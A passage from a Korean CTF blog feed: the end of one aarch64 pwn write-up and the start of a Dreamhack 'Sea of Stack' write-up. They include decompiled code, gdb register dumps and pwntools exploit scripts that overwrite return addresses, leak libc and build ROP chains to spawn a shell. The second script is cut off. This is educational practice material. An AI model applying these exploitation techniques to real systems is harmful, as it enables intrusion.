</span></span><span class="line"><span class="cl">   <span class="mh">0x400834</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;</span>     <span class="n">mov</span>    <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mi">0</span>                    <span class="n">W0</span> <span class="o">=&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400838</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">100</span><span class="o">&gt;</span>    <span class="n">ldp</span>    <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mh">0x40083c</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">104</span><span class="o">&gt;</span>  <span class="err">✔</span> <span class="n">ret</span>                                <span class="o">&lt;</span><span class="mh">0x6363636363636363</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">x7</span> <span class="n">sp</span> <span class="mh">0x4000008004c0</span> <span class="err">—▸</span> <span class="mh">0x400000800500</span> <span class="err">◂—</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>       <span class="mh">0x4000008004c8</span> <span class="err">—▸</span> <span class="mh">0x400c8c</span> <span class="p">(</span><span class="n">__libc_start_main_impl</span><span class="o">+</span><span class="mi">872</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">bl</span> <span class="n">__libc_check_standard_fds</span> <span class="cm">/* &#39;5&#39; */</span>
</span></span><span class="line"><span class="cl"><span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>       <span class="mh">0x4000008004d0</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>       <span class="mh">0x4000008004d8</span> <span class="err">—▸</span> <span class="mh">0x400674</span> <span class="p">(</span><span class="n">_start</span><span class="o">+</span><span class="mi">52</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"><span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span>       <span class="mh">0x4000008004e0</span> <span class="err">◂—</span> <span class="mh">0x100000000</span>
</span></span><span class="line"><span class="cl"><span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>       <span class="mh">0x4000008004e8</span> <span class="err">—▸</span> <span class="mh">0x400000800668</span> <span class="err">—▸</span> <span class="mh">0x400000800824</span> <span class="err">◂—</span> <span class="mh">0x534f4800626f7270</span> <span class="cm">/* &#39;prob&#39; */</span>
</span></span><span class="line"><span class="cl"><span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span>       <span class="mh">0x4000008004f0</span> <span class="err">◂—</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span>       <span class="mh">0x4000008004f8</span> <span class="err">—▸</span> <span class="mh">0x400000800668</span> <span class="err">—▸</span> <span class="mh">0x400000800824</span> <span class="err">◂—</span> <span class="mh">0x534f4800626f7270</span> <span class="cm">/* &#39;prob&#39; */</span>
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x40083c</span> <span class="n">main</span><span class="o">+</span><span class="mi">104</span>
</span></span><span class="line"><span class="cl">   <span class="mi">1</span> <span class="mh">0x6363636363636363</span> <span class="n">None</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</span></span></code></pre></div><p>gdb를 확인하면 main함수에서 <code>0x6363636363636363</code> 로 return하려는 것을 볼 수 있다. 그러면 해당 부분을 <code>maybe_script_execute</code> 함수 주소로 변조하면 쉘을 얻을 수 있을 것이다.</p>
<p>익스 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;aarch64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># p = process([&#39;qemu-aarch64-static&#39;,&#39;-L&#39;, &#39;/usr/arm-linux-gnueabi&#39;, &#39;-g&#39;, &#39;8888&#39;, &#39;./app&#39;])</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s1">&#39;qemu-aarch64-static&#39;</span><span class="p">,</span> <span class="s1">&#39;-g&#39;</span><span class="p">,</span> <span class="s1">&#39;1111&#39;</span><span class="p">,</span> <span class="s1">&#39;./deploy/prob&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./deploy/prob&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">_system</span><span class="o">=</span><span class="mh">0x401b00</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">binsh_addr</span> <span class="o">=</span> <span class="mh">0x004671c8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exec_binsh</span> <span class="o">=</span> <span class="mh">0x0441b60</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">maybe_script_execute</span> <span class="o">=</span> <span class="mh">0x00441aa0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">bof</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">24</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># payload  = bof</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += p64(0x0000000000435e38)      # 리턴주소: 가젯 주소</span>
</span></span><span class="line"><span class="cl"><span class="c1"># #payload += b&#34;B&#34; * (0x60)            # (0x60 - 8) 패딩: 가젯 주소 이후부터 sp+0x60까지 패딩</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += p64(_system)*6</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += p64(binsh_addr)               # sp+0x60: x0에 들어갈 값</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += b&#34;C&#34; * (0x80 - 0x68)         # (0x80 - 0x68) 패딩: sp+0x68 ~ sp+0x80까지 패딩</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += b&#34;D&#34;*8             # sp+0x80: x29(Frame Pointer)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># payload += p64(_system)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">=</span> <span class="n">bof</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">maybe_script_execute</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;input: &#34;</span><span class="p">,</span> <span class="n">payload1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN Sea of Stack</title><link>https://dig06161.github.io/2024/08/17/dreamhack-pwn-Sea-of-Stack/</link><pubDate>Sat, 17 Aug 2024 14:00:00 +0900</pubDate><guid>https://dig06161.github.io/2024/08/17/dreamhack-pwn-Sea-of-Stack/</guid><description>드림핵 포너블 Sea of Stack 문제풀이</description><content:encoded><![CDATA[<p>드림핵 포너블 문제 Sea of Stack 문제 풀이다.</p>
<p>해당 문제를 보면 우분투 22.04기반 컨테이너에 동작하고 libc 파일이 주어진다.
prob 바이너리가 주어지며 이를 실행시키면 다음과 같은 동작을 가진다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="nl">b87ade2e40ca</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">prob</span>
</span></span><span class="line"><span class="cl"><span class="n">If</span> <span class="n">you</span> <span class="n">really</span> <span class="n">want</span> <span class="n">to</span> <span class="n">give</span> <span class="n">me</span> <span class="n">a</span> <span class="n">present</span><span class="p">,</span> <span class="n">bring</span> <span class="n">me</span> <span class="n">that</span> <span class="n">kind</span> <span class="n">detective</span><span class="err">&#39;</span><span class="n">s</span> <span class="n">heart</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="n">aaaaaaaaaaaaaaa</span>
</span></span><span class="line"><span class="cl"><span class="n">Sea</span> <span class="n">of</span> <span class="n">Stack</span>
</span></span><span class="line"><span class="cl"><span class="mf">1.</span> <span class="n">safe</span> <span class="n">func</span>
</span></span><span class="line"><span class="cl"><span class="mf">2.</span> <span class="n">unsafe</span> <span class="n">func</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">aaaaaaaaaaaaaaaaaaaaaaaa</span>
</span></span></code></pre></div><p>기드라 디컴파일러를 통해 해당 바이너리를 열어보자. 메인함수의 코드는 매우 간단하다. 코드를 살펴보면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_38</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="o">*</span><span class="n">local_30</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">local_28</span> <span class="p">[</span><span class="mi">28</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">proc_init</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="n">printf</span><span class="p">(</span><span class="s">&#34;If you really want to give me a present, bring me that kind detective</span><span class="se">\&#39;</span><span class="s">s heart.</span><span class="se">\n</span><span class="s">&gt; &#34;</span><span class="p">)</span> <span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">read_input</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="mh">0x10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="s">&#34;Decision2Solve&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">((</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">gotPresent</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">read_input</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_30</span><span class="p">,</span><span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">read_input</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_38</span><span class="p">,</span><span class="mi">6</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">local_30</span> <span class="o">=</span> <span class="n">local_38</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">gotPresent</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">print_menu</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_c</span> <span class="o">=</span> <span class="n">read_number</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="n">safe</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="n">unsafe</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>또한 safe함수와 unsafe함수는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">safe_func</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">local_38</span> <span class="p">[</span><span class="mi">48</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">read_input</span><span class="p">(</span><span class="n">local_38</span><span class="p">,</span><span class="mh">0x29</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">memset</span><span class="p">(</span><span class="n">local_38</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">unsafe_func</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">local_28</span> <span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">read_input</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="mh">0x10000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>우선 unsafe 함수에서 오버플로우가 가능하다. libc가 주어진 것으로 보아, libc 주소를 leak해 ROP 체이닝을 해야할 것으로 예상된다.</p>
<p>간단하게 unsafe 함수에서 오버플로우를 시도해본다. 0x10000만큼의 임의 값을 입력하면 오류가 발생하며 gdb를 통해 확인하면 스택의 크기를 벗어난 지점에 값을 쓰려고 하여 권한 문제가 발생한다.</p>
<p>여기서 재밌는 트릭을 사용한다. main함수의 if 구문을 보면 0x10만큼 입력받은 문자열이 Decision2Solve와 동일한지 검사하여 동일하면 입력한 주소 부분에 원하는 값을 6만큼 쓸 수 있다.</p>
<p>취약점 트리거를 해야하는 unsafe함수를 이용해야 한다. 따라서 safe 함수 위치를 main함수 주소로 덮어 main을 여러번 call 한다.</p>
<p>필자는 1000번의 call을 진행했으며 첫번째 실행의 rsp, rbp와 1000번을 실행한 rsp, rbp를 비교해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">//첫번째 main함수 지점 레지스터
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">*</span><span class="n">RAX</span>  <span class="mh">0x401446</span> <span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">RBX</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">RCX</span>  <span class="mh">0x7d89cf314992</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">18</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* &#39;H=&#39; */</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x404010</span> <span class="p">(</span><span class="n">safe</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x4013f0</span> <span class="p">(</span><span class="n">safe_func</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">RDI</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">RSI</span>  <span class="mh">0x7fffe0176627</span> <span class="err">◂—</span> <span class="mh">0x60000000100</span>
</span></span><span class="line"><span class="cl"> <span class="n">R8</span>   <span class="mh">0x51</span>
</span></span><span class="line"><span class="cl"> <span class="n">R9</span>   <span class="mh">0x7d89cf521040</span> <span class="p">(</span><span class="n">_dl_fini</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">R10</span>  <span class="mh">0x402048</span> <span class="err">◂—</span> <span class="s">&#34;If you really want to give me a present, bring me that kind detective&#39;s heart.</span><span class="se">\n</span><span class="s">&gt; &#34;</span>
</span></span><span class="line"><span class="cl"> <span class="n">R11</span>  <span class="mh">0x246</span>
</span></span><span class="line"><span class="cl"> <span class="n">R12</span>  <span class="mh">0x7fffe0176788</span> <span class="err">—▸</span> <span class="mh">0x7fffe0176fd3</span> <span class="err">◂—</span> <span class="mh">0x4c00626f72702f2e</span> <span class="cm">/* &#39;./prob&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">R13</span>  <span class="mh">0x401446</span> <span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">R14</span>  <span class="mh">0x403d98</span> <span class="p">(</span><span class="n">__do_global_dtors_aux_fini_array_entry</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x401200</span> <span class="p">(</span><span class="n">__do_global_dtors_aux</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">R15</span>  <span class="mh">0x7d89cf555040</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7d89cf5562e0</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7fffe0176670</span> <span class="err">◂—</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7fffe0176640</span> <span class="err">—▸</span> <span class="mh">0x401446</span> <span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x4014ca</span> <span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mi">132</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rdx</span><span class="p">],</span> <span class="n">rax</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">//1000번 main 호출 이후 main함수 지점 레지스터
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">*</span><span class="n">RAX</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">RBX</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x7fffe0166bd1</span> <span class="err">◂—</span> <span class="mh">0x4600007fffe01767</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x401426</span> <span class="p">(</span><span class="n">unsafe_func</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RDI</span>  <span class="mh">0xa</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RSI</span>  <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">R8</span>   <span class="mh">0x1999999999999999</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">R9</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">R10</span>  <span class="mh">0x7d89cf3beac0</span> <span class="err">◂—</span> <span class="mh">0x100000000</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">R11</span>  <span class="mh">0x7d89cf3bf3c0</span> <span class="err">◂—</span> <span class="mh">0x2000200020002</span>
</span></span><span class="line"><span class="cl"> <span class="n">R12</span>  <span class="mh">0x7fffe0176788</span> <span class="err">—▸</span> <span class="mh">0x7fffe0176fd3</span> <span class="err">◂—</span> <span class="mh">0x4c00626f72702f2e</span> <span class="cm">/* &#39;./prob&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">R13</span>  <span class="mh">0x401446</span> <span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">R14</span>  <span class="mh">0x403d98</span> <span class="p">(</span><span class="n">__do_global_dtors_aux_fini_array_entry</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x401200</span> <span class="p">(</span><span class="n">__do_global_dtors_aux</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl"> <span class="n">R15</span>  <span class="mh">0x7d89cf555040</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7d89cf5562e0</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7fffe0166bf0</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166c30</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166c70</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166cb0</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166cf0</span> <span class="err">◂—</span> <span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7fffe0166bf0</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166c30</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166c70</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166cb0</span> <span class="err">—▸</span> <span class="mh">0x7fffe0166cf0</span> <span class="err">◂—</span> <span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x40142e</span> <span class="p">(</span><span class="n">unsafe_func</span><span class="o">+</span><span class="mi">8</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x20</span>
</span></span></code></pre></div><p>위와 같이 rbp, rsp 값이 현저히 낮아진 것을 볼 수 있다. 스택 위치가 낮아짐에 따라서 0x10000값을 입력하여 오버플로우 공격이 가능하다.</p>
<p>카나리도 안걸려 있기 때문에 이후는 일반적인 ROP와 동일하다. 함수의 인자를 주기 위해 pop rdi; ret;가젯을 찾아준다. 이를 통해 puts 함수의 plt와 got를 이용해서 libc 주소를 leak 한다. 이후 다시 unsafe 함수를 호출하여 가젯을 이용해 /bin/sh를 인자로 하여 system함수를 실행한다.</p>
<p>아래는 익스플로잇 코드이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 19571)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./prob&#34;</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;LD_PRELOAD&#39;</span><span class="p">:</span> <span class="s1">&#39;./libc.so.6&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1"># p = process(&#34;./prob&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;Decision2Solve</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">safe_addr</span> <span class="o">=</span> <span class="mh">0x404010</span>
</span></span><span class="line"><span class="cl"><span class="n">main_addr</span> <span class="o">=</span> <span class="mh">0x401446</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">safe_addr</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x46\x14\x40\x00\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">79</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">1000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span>
